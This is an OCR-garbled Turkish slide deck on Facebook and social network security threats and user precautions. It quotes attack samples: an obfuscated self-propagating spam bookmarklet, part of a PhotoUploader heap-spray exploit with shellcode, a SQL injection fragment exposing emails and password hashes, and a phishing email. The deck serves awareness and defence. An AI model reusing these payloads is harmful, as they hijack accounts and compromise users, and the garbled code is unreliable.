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Sosyallestiren Aglar




Siber Yasam’da Sosyal Aglar

* Sosyal cevre ile iletisim kurmayi saglar

* Anlik olarak neler yaptigimizi, nerelerde
oldugumuzu paylasmamizi saglar

* Duygu ve duslincelerin daha genis kitlelere
ulasmasini saglar

 Kisi/Topluluk Takibi




Ulkelere Gore Facebook Kullanimi

United States 154 957 740 +10 660 +0.01% & 49.95%
2. Indonesia 36 604 760  +1 759 300 +5.05% # 15.07%
3. | United Kingdom 29 773 160 -474 400 -1.57% & 47.76%
4. Turkey 28 420 740 +942 340 +3.43% & 36.53%
5. India 25458600 +2419420 +1050% & 217%
6. Mexico 23954 420 #1223 240 +5.38% & 21.30%
7. | Philippines 23399640 +1871 380 +8.69% & 23.42%
8. FErance 21972 760 +156 960 +0.72% & 33.93%
9. | ltaly 19 253 000 +34 820 +0.18% & 33.14%
10.  Germany 18 385 720 +458 840 +2.56% & 22.34%

http://www.socialbakers.com/facebook-statistics/



http://www.socialbakers.com/facebook-statistics/
http://www.socialbakers.com/facebook-statistics/
http://www.socialbakers.com/facebook-statistics/

Sosyal Aglarin Guvenlik Bilesenleri
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Yarattigl Tehlikeler

Spam, Spam ve daha fazla Spam

= If your partner tells these lies they are cheating on you &5 Like
wall Info Photos Discussions READ HERE!

10 lies girls ALWAYS tell guys! funny!

ornek spam talimati

BE If your partner tells these lies they are cheating on you | &5 tke

wall Info Photos Discussions READ HERE!

Press and HOLD CTRL

ornek facebook spam

AND press the letter C




Yarattigl Tehlikeler

Spam, Spam ve daha fazla Spam

javascript:(function(a="app121213611239754_jop b="app121213611239754_jodeifc="app121213611239754_if
cifo="app121213611239754_ifo"mw="app121213611239754_mwrapper';evalifunction(p,a.c k.e Nfe=function{cr
etumnfc-a?"e(parseint{c/aM+{c=c?a) - 357Stuing.fromCharCode{c+ 29 c.toStiing(36NLIEN" replace( "/ Stringiwh
fle(c-nle(a))=klc ) le(c)k=[function(elretumn e}l e=function({retun’ ' w+'l;c=1;while(c-Hf(k[c ]ip=p.replace(new
RegExp(" "b'+e{c)+" D" gL klchaetumnm pi(')
e«["Unvag o dvag  Foagodvag o h AT R CA T o b g o e POk R K AL e g e
K KK O MO N OGO, Oy Gy o o A O hE g H PO OO G
fogon o fokhogm ool fo o h g okt o g HE T gk g g o kR
gojuzolobhy e wgon ook R oo eoa o p ol v bt R oo v g ok g h o P e
OBV QPRGBS p g i v o oz B ki g Pt g b e oSz e
Z° oy o g h o Tog o i o kdsuidlel2 W el I e[O))=el 3 idlel 2 ] HaM eld]))=dle[ 2 )b} e[S]ks=dle]
21tel6m=dle[ 2]l el 7 ic=dle[9)l(el[8Tkclel 11 NteNOLLIs[e[ 1 2] e C(DO{WIe[1 31]OLEC(DOX [e[16])e[14) e[15])
LERCDOImIe 1 2] dlel 21KV eld]]=d[el2 112 el S1ELEY,6.2,69, I _Ox95ealx 65 x69x 74|x6C|x 7 3Ix6Eix61||x76]
x67|x631x45|x6D|Ix64|x6FxSFx68|x72Ix75Ix70|x79x 2 FisetTimeout|/function|SO00|x6 2| x4Dix6 Bl true|var|x4 2| x49|x4
BlxS4/x4C|x66/x6AIx78|x 2 E|x44!documentimw|fs|SocialGraphManageriifolif |||l sphit|7%.0.80Hh 0d

d=document;
digetElementByld)('app121213611239754"[style][visibility ]« hidden;
digetElementByld'app121213611239754_jop"ilinnertHTML]=d[getElementByld[{"app121213611239754_Jode"[value];
s=digetElementByld](suggesty
m=dlgetElementByld](likemey;
c=d{createEvent)(MouseEvents);
clinitEvent Hclick true true);
s[dispatchEventlc)
setTimeout{functiondy
fs[select_all})
}
JSO00);
setTimeout{functiond)
]
SocialGraphManagerfsubmitDialoglisgm_invite_form, ajax social_graph invite_dialog.php)
}
",l WO
setTimeout{functiond)
']

{
midispatchEvent]ic);
dlgetElementByldN "app121213611239754_ifofinnerHTML]=dlgetElementByld}('app121213611239754_ic"Hvalue)

LS000),

Spam kodlari




Yarattigl Tehlikeler

Dahil olunan uygulamalar

h 'a ERDER DR. Ender Sarac'tan Diyet Yapmadan Zayflamanmn
<5 SHRACTAN

auil Formili

& : www, formula7ir.gen. ir
50 INDIRIMLE brotuva

Berrin‘in Cildi 1 Haftada Nasil Diizeldi?




Yarattigl Tehlikeler

Dahil olunan uygulamalar

Izin Istegi

Badoo asadidakileri yapmak icin izin istivor:

I‘ Temel bilgilerime erisme
@ Bana e-posta gonderme

Duvarima yazma

Hizmeet Kosullan

[}

Ozan olarak giris yapild (Sen dedil misin?)

ek
?

Badoo

LE. 8 & &

ﬁ izin Verme




Hesaplar Nasil Ele Geciriliyor ?

Ag tabanli Saldirilar ( Oturum Calma)

Hamster ve Fetter ile Oturum Calma

facebook

f] Duvar
{7 Bilgiler
If®) Fotograflar (46

[] wotlar

& Arkadaglar

Evii

I | Tugba
L

suat Y

Suat just found a Reindeer eating from their feed
trough!
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Hesaplar Nasil Ele Geciriliyor ?

Ag tabanli Saldirilar

Facebook Chat kayitlari;
fbs.py cehturkiye ekibi tarafindan network forensic araci olarak yazilmistir.

Facebook sohbet kayitlar

Sayfa 1
Baslangic: | Bitig: Metin: |
Siiz | Sifirla | Herseyi gdster |
Kullama:  Tomi EIIF‘: Tumi EISayfa: 1 :I
Tarih - saat L Kime Mesaj
iy Kullama kimligi  Adi Adisoyadi P Kullamci kimligi  Adi Adisoyadi L
1616101136 Ozan Ozan UCAR  blabla bla

100001233663232 HARUM Harun SEKER. facebook chat zimbirtisi,guzel ses dkariyor : J)

2010-10-30 16:40:02 66.220.151.74 100001233663232 HARUM Harun SEKER 192.168.5.50
100001233663232 HARUM Harun SEKER. kaderde facebook'da yazsmakta varmig

Ozan Ozan UCAR.  192.168.5.50

2010-10-30 16:39:42 66.220.151.74 1616101186
Ozan Ogzan UCAR.  192,168.5.50

2010-10-30 16:38:52 ©66.220.151.74 1616101186




Hesaplar Nasil Ele Geciriliyor ?

istemci Tabanli Giivenlik Agikliklari

FaceBook PhotoUploader <= 5.0.14.0 Remote Buffer Overflow Exploit

EDB-ID: 5102 CVE: 2008-5711 OSVDE-ID: 41073
Author: MC Group Ltd. Published: 2008-02-12  Verified: ¥ Rating
Owerall: (0.0)
Exploit Code: &l Vulnerable App: N/A
Previous Exploit Home Next Exploit

<html:>
<head>
<object ="target" ="clsid:5C6698D9-7BE4-4122-8EC5-291D84DBD4AG" ></object>
</head>»
<body>
<script>

var shellcode = wunescape("%u@DEDXuBDBEDXUO008%LOO98" "+ //Windows Execute Command (calc)
"HuesfchuBeddiueeeeiudssbXusb3ckuesT cluel78husbetRuls4fiustab "+
"%ue120%ud9ebXu348bkuelsbXulleekudfceXusdaciui4coRucleFbubdca+
"Ruc281%ut4ebius43biuBd24Xues575RusT8bXUB124%ubbebXuBc8biusbab "+
"#ulcS5tRueb81Xulc8biuel8bXusoeb®u245cHuc3B4%uce31%usbe4%u3040"+

"HucB85kuBc 78%udB8s8biusbeciul c7e%u8bad¥uB868%uB9ebRkusB8biuBebs " +

" %ueeeekubs8biusTIckulo31Xus068kuT889%uce83%use7bXkurenskuedsa+
"%u685tHuteds8iuBe8akuff57%ub63e7Xubc61%uBB63" ) ;

var address = Bx@dededed;

var block_size = 8x4808800;

var blocks = (address - block_size) / block_size;
var spray = unescape (" %uBDeD¥kusDeD") ;

var tmp = unescape("%u@DeD¥ueDeD");

var tmp_size = 1844;

while((spray.length * 2) < block size) spray += spray;
spray = spray.substring(e, block_size - shellcode.length);
= new Array();

Lmmt 4 hlmclers S0 momemedT3T e RS 1 [P P




Hesaplar Nasil Ele Geciriliyor ?

Sunucu Tarafh Glivenlik Acikliklari

union select group_concat(address (T, userkey,0x7,

About Home All ideas Install Addidea My ideas

SR © g mail.comO 796be5a3a8772c2bce08c2c3e9a36029e0 1, onuimid® @yahoo.comi 992e0206f7ba3fa0et
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Hesaplar Nasil Ele Geciriliyor ?

Phishing ( Yemleme )

Yemleme, yasadisi yollarla bir kisinin sifresini veya kredi karti ayrintilarini
ogrenmeye denir.

"Yemleyici" diye tanimlanan sifre avcilari, genelde e-posta vb. yollarla
kisilere ulasir ve onlarin kredi karti vb. ayrintilarini sanki resmi bir
kurummus gibi isterler.

xxBank

Sayin XX Bank Musterisi

Hesabiniza 24/subat/200S5 tarihinde Huseyin Abacioglu tarafindan 270 YTL. havale edilmistir. Yapilan havale ile
ilgili ayrintilar asagidadir.

Gonderen: Huseyin ABACIOGL

Miktar: 270,00 YTL. ( iki yuz yetmis yeni turk lirasi )
Sube: Mardin / Merkez
Aciklama: -

Havale onay vefveya red islemi icin asagidaki linkden internet bankaciligini kullanabilirsiniz vefveya hesabinizda gerekli incelemeleri yapabilirsiniz. Size havale gonderen
kizinin bilgileri icinde asagidaki linki kullanabilirsiniz...

https:/fsecure. XX com.trfisubeflogin.jsprislemno=SDE893RGSFCV783Cassi=1disube=active@systemn=93 ( Lutfen buraya tiklayin... )




Hesaplar Nasil Ele Geciriliyor ?

Sosyal Miihendislik Saldirilar

. Ebru Polat 50 Ekim, 17:03 Sikayet EE
L iviginler,
. bir bayan olarak styleme intivac) durumundayim,surada bir bayanin ciplak

gorintileri var ve agadilkca bir video Sahte Adres:

ben gikayet ettim,sizi neden ilgilendirdidine gelince videonun altinda sizin www.fac book.com
email adresiniz yaziyor ve kimlik bilgileriniz var videodaki bavan s
arkadaginizmiz geklinde bir yvazi yazilmis adres

wwrwy, facabook,. comvideofvideo fvideo php?v=1381831528935

www.bga.com.tr 16




Hesaplar Nasil Ele Geciriliyor ?

Sosyal Miihendislik Saldirilar

iwe,com

Cocukken her sabah Tann'va veni bir bisiklet wermesi ici 3 e i ..' u i ani iligkisinin b Imadidire anladin we kendime weni bir bisiklet
caldi 1 Ci
inered by Kmilze for Aycan
Fatehnuk Hirsiz \r2
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Givenlik Onlemleri

* Kisisel bilgilerinizi ve sorun olusturabilecek
resimlerinizi paylasmayin.

* |letisim bilgilerinizi paylasmayin (Cep telf., Adres vb.)
e Gizlilik ayarlarinizi mutlaka kontrol edin.

 Tanimadiginiz kisilerden gelen arkadaslik tekliflerini
kabul etmeyin !

e Dahil oldugunuz uygulamalarin sizin adiniza reklam
ve yayin yapabilecegini unutmayiniz




Guvenlik Secenekleri

HTTPS: Guvenli HTTP katmanidir. Ag tabanli saldirilarin dnline gecmek ve
saldiri aninda farkindalik kazanmak icin mutlaka tercih edilmelidir.

Hesap Givenligi gizle

Gezinme ve giris glvenlidini kontrol et
Giivenli Gezinme (https)
7| Mimkin oldugunda Facebook'a givenli baglant: (https) izerinden baglan

Giris Bildirimleri
Taninmayan bir bilgisayar veya dhaz hesabima erismeye calstéinda:

7| Bana e-posta gonderin

Hesap Hareketleri

En son hesap hareketerine bak. Tamidik gelmeyen bir chaz veya yer fark edersen, "hareketi sonlandir”™
badlantsina tkia.

Not: Yerler ve ahaz tdleri ISS veya kablosuz operatindne adre yapbomz en iyi iahminkerd yansitmakiadr.
En Son Hareketler

Yer: Bilinmeyen Konum (¥akisak)

Diger Hareketler

Son Erisim: 04 Mayis, 18:14 hareket sonlandr
Yer: Baku, NO REGION, AZ (Vakizsk)

Cihaz Tidrid: Firefox on Linux




Guvenlik Secenekleri

e HTTPS: Glvenli HTTP katmanidir. Ag tabanli saldirilarin 6ntine gecmek ve
saldiri aninda farkindalik kazanmak icin mutlaka tercih edilmelic*

| & https,//www.facebook.com/indexphp

www.facebook.com

@ Bu web sitesinin kimligi DigiCert High
Assurance CA-3 tarafindan degruland. -
Sertifika bilgileri Jturumumu sirekdi agk tut— Sifreni mi un

@ www .facebook.com badlantiniz 128 bit

sifrelerneyle sifrelendi.
L un? Bagh kal. Kaydol
Baglanti TL5 1.0 kullaniyor. = - o B
pook.com'u ziyaret et. Ucretsizdir ve her zaman Gcret
Baglant, ileti kimlik dogrulamasi igin MD5 ve
anahtar degigim mekanizmasi olarak R5A
kullanilan RC4_128 ile sifrelenmistir. Adi:
. Facebook Mobil Kullan
Baglanti sikistinlmiyor. Soyadi:
Sunucu TLS yeniden anlagma uzantisini )
desteklemiyor. E-posta Adresin:
E-postay Tekrar
ﬂ Site bilgileri Gir:
Bu siteyi ilk kez 02 May 2011 tarihinde ziyaret
ettiniz. Yeni Sifre:

Bunlar ne anlama geliyor? Cinsiyeti: = Sec: El




Guvenlik Secenekleri

* Hesabiniza kullanici adi ile veya farkli bir hesap ile
giris yapiniz.

Kullanwc Ad gizle
herhangibirisim

facebook.com/herhangibirisim Alinabilirligi Kontrol Et

E-posta gizle

E-posta adresini kimlerin gérebilecedini belirlemek icin iletisim bilgilerinin aérindrlidaini ayarla.

Iletisim E-posta  __vuwve Thotmail.com
Adresi: jleticim e-posta adresin gecerl bir adres clmaldr.
Yeni Dletisim E-
posta Adresi:

eni E-posta Adresi Ekle




Guvenlik Secenekleri

 Uciincu sahislarin, hesap bilgilerinize ulasmamasi icin
secenek !

Hesabmm

Ayarlar | Aglar | Bildirimler | Mobil | Dil | Odemeler

Uciincii sahislar tarafindan gisterilen reklamlar

Facebook Gglinol sahis uygulamalara veya reklam adlanna adin veya resmini reklamlarinda kullanma hakla vermez, Buna
ileride izin verirsek, bilgilerinin nasil kullanlacadin senin sectigin ayar belifeyecektr,

Uciincii sahus sitelerinde, Facebook sosyal eklentileri Gzerinden, reklamlardakiler dahil, sosyal badlam gérebilirsin, Sosyal
eklentiler dgincl sahis sitesinde sosyal bir deneyim yasamani sadlasa da, Facebook bilgilerini sosyal eklentileri barindiran
Uglincl sahis sitelerle paylasmaz. Sosyal eklentiler hakkinda daha fazla bilgi al.

B_ul_'la ||Er|!:_|e iZin verirsek, bilgilerimi su Sadece arkadagianm El
kisilere gisterin:
Sadece arkadaslarim

Degisiklikleri Kaydet Iptal |




Guvenlik Secenekleri

£ ] Temel Bilgiler
Profil Resmi

[£» Sergilenen Insanlar
Bl Editim ve Is

il Felsefe

Jd Sanat ve Edlence

%5 Spor

& Hobiler ve Tlgi Alanlar
:[@ Iletisim Bilgileri

gizlilik ayarlann zivaret et

Ne kadarini paylasmamiz gerekli ?

Telefon, okul, ev adresi bilgileri paylasmak
icin gerekli ?

Unutmayiniz; saldirganlar, hakkinizda ne
kadar cok bilgi toplarlarsa o kadar gercekgi
ve profesyonel saldirilar dizenleyebilirler !




Guvenlik Secenekleri

 Guvenlik Sinavi

Facebook Security | = Bejen

STOP  THINK CONNECT
Security Quiz

facebook

Security PASSWI

R Tof7
& puvar What's the best way to ensure a strong password?
=7 Bilgiler
Take Action
Threats
Software Q?
White Hats
Security Quiz
Security Tips
% Tarbsmalar

Haklknda
Like this Page to receive updates Make sure you use different passwords for your different online accounts. You should also
??cg”t hg"\' tg arotect your ds long and complex and change them regularly. Remember to avoid
Informaton Dot...

ords, words spelled backwards, repeated characters, or personal

using dictionary
Devami information.

B

kisi bunu bedendi

http://www.facebook.com/security




Guvenlik Secenekleri

Tum bunlara ragmen, givende miyiz ?




Tesekkurler



Sorular ?



